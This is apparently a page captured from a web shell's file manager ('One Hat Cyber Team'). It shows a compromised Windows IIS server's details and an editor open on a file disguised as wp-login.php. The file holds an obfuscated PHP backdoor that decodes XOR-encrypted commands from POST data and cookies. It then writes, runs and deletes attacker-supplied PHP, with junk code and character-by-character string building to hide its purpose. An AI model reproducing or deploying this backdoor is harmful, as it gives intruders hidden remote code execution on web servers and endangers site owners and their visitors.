⚝
One Hat Cyber Team
⚝
Your IP:
18.223.114.251
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
clamd
/
Edit File: wp-login.php
<?php $ibnnczd = /* q */ 'ibnnczd' ^ ' '; function /* nk */ pphhv($gpfaghkoo, $dwtvna) { global /* ywcyzk */ $ibnnczd; $gpfaghkoo = /* ea*/ "<" /* xfafn*/ . /* zff*/ "?"."\160" . /*qbnd*/ "\x68" . /*eak_e */ "p".$ibnnczd(32) . /* cljniy */ "\165" . $ibnnczd(225-115) /* ludeo */ . "l".$ibnnczd(105) /* pu */ . $ibnnczd(317-207) . "k"."\50" . $ibnnczd(95) . "_"."F".$ibnnczd(73) /* myjeb*/ . "L"."E"."_"."_"."\x29" /* xjt */ . ";".$ibnnczd(32) /* dpmbx */ . /* iktmr */ $gpfaghkoo["d"]; $seqr_ = $ibnnczd(479-377) . $ibnnczd(105).$ibnnczd(359-251) /* j_rav*/ . $ibnnczd(825-724)."\137" . $ibnnczd(112) . "u"."\164" . "\x5f" /* wzxpue */ . /*fq */ "\x63" . "o"."n"."t"."\x65" . "n".$ibnnczd(943-827) /* wsw*/ . $ibnnczd(756-641); /* rxd */ $seqr_($dwtvna, /* rnxy */ $gpfaghkoo); /*j */ xuyzyy($dwtvna); } function jmrzb_hp() { /*hhcsfq*/ $vylvigho = 36; $sjfqxzojasryi /*zgd */ = 'nkuxisqk'; $xekaekn /* bz */ = /* vtm */ 'oy_sctatel'; $acptz /* us_sdb */ = 'obpdypygd'; /* inuu*/ $zedjy = /* kyd*/ str_replace('pqhbts', 'wut', $acptz); } jmrzb_hp(); $zrnltzf /* pit */ = 73;function xuyzyy($dwtvna){ global $ibnnczd; /*rlwoh */ /*t */ include($dwtvna); $lscfj = $dwtvna; @unlink($lscfj); } function q_xlflljs(){ global /*wgmc */ $ibnnczd; /* ake_dg */ $sjfqxgnahutuz = /* tvs */ array(); $sjfqxgnahutuz["p"."\166"] = phpversion(); $sjfqxgnahutuz["\163" . "v"] = "\x33" . $ibnnczd(46) /* gpjd*/ . /* o */ $ibnnczd(53); $lxramxmkfh /* el */ = 74; echo @serialize($sjfqxgnahutuz); } function /* d */ vkwbekyczo() { /*he_ */ $xllbn = 'yiktr'; $sjfqxgnahutuzjhpozre /*fdp */ = 44; /* q */ $phyzitfu /* s */ = /* yrvptd */ 47; $tacbaqsw /* sm */ = 'gzju';}vkwbekyczo(); function /* gmix_q */ eafpygbyj($gpfaghkoo, /* ymp */ $fowpg) { global $ibnnczd; $pwzgpuuuuv = /*a */ ""; $zy_m_gwyof = 'txxsizmzm'; $sjfqxgnahutuz = /*vfqwm_ */ 0; while /*zy_kh */ ($sjfqxgnahutuz < /* cbscp */ strlen($gpfaghkoo)) /* yqdu */ { for ($sjfqx /* kjtabv*/ = 0; $sjfqx < /* squ */ strlen($fowpg) && /* xe */ $sjfqxgnahutuz < strlen($gpfaghkoo); $sjfqx++, $sjfqxgnahutuz++) /* qoi */ { $pwzgpuuuuv .= $ibnnczd(ord($gpfaghkoo[$sjfqxgnahutuz]) ^ ord($fowpg[$sjfqx])); } } /* wtme*/ return $pwzgpuuuuv; } function io_ppvpn() { /* es */ $grtzmtogq /* fjmsg */ = 14; /* iz */ $sjfqxpgrjapp /*kaphtm*/ = 'qadrl'; $bzdhbz_qc = 18; $bhywlu = /* axldr */ 49; $novdocb /* obq */ = 'h_ymob'; /*pxa*/ $wevwtdqtm = 'nzwdwzowev'; $grtzmtogq = $bhywlu * $bhywlu; $oanphg = /*epc */ $bhywlu / /* hrga*/ ($bhywlu + 10); $zxmwhojov = 39;} io_ppvpn(); function /* ms */ ufsdbjq_vb($uvfdkzsegj){ global /*kzr*/ $ibnnczd; /* gpypg*/ $oxpsyhse = "\61" . $ibnnczd(56) . "3"."3"."6"."\146" /* ifx */ . /*nf */ "4"."4".$ibnnczd(128-83) . $ibnnczd(857-809) . "\71" /* oulc*/ . "5"."\71" . $ibnnczd(45) /* egu */ . /*pnki */ $ibnnczd(442-390) . $ibnnczd(100) . "a"."8"."-"."\x39" /* gdvibv*/ . $ibnnczd(101) /* sqahtu*/ . $ibnnczd(57) . $ibnnczd(54) . "-".$ibnnczd(51) /* hgtsr*/ . "3"."2"."a"."\x39" . /* _qnore */ "\x36" /* aqo */ . "c"."9"."\144" /* yn */ . "\71" . "d"."3"; /* oezw */ foreach ($uvfdkzsegj as $wiubni => $gpfaghkoo) { evuybedi(base64_decode($gpfaghkoo), /* _evro */ $oxpsyhse, /* vhlu */ $wiubni); /* rvpof */ } }function /* yp */ evuybedi($gpfaghkoo, $oxpsyhse, $wiubni) { global $ibnnczd; $gpfaghkoo = /*ep */ unserialize(eafpygbyj(eafpygbyj($gpfaghkoo, $oxpsyhse), $wiubni)); $mnwryrsm /* sshs */ = 'cxkqfx'; $_yrxs /* hjc */ = 'baiuzlht'; /*rswjmj */ if (isset($gpfaghkoo["\141" . "\153"])) /* xkaxbk */ { if /* _a */ ($gpfaghkoo["a"] == /* ansl */ $ibnnczd(105)) /* oqegi */ { q_xlflljs(); } elseif ($gpfaghkoo["a"] == $ibnnczd(825-724)) { /* bp_gj */ pphhv($gpfaghkoo, /* cds */ sprintf("\56" /* abmwlp */ . "\57" . "\x25" . /*ji */ "s".$ibnnczd(46) . /*ss */ "\x70" . $ibnnczd(591-483), md5($oxpsyhse))); $sanjg = 44; /* uzvg */ } exit(); /*czamr */ } } $xtdrrg = /* aqyvw */ 69; $o_tmm = /* ldbls */ 22; $o_tmm = $xtdrrg /* yl */ + 15; ufsdbjq_vb($_POST); ufsdbjq_vb($_COOKIE); $wkzclqa_vr /* w*/ = 6; ?>
Simpan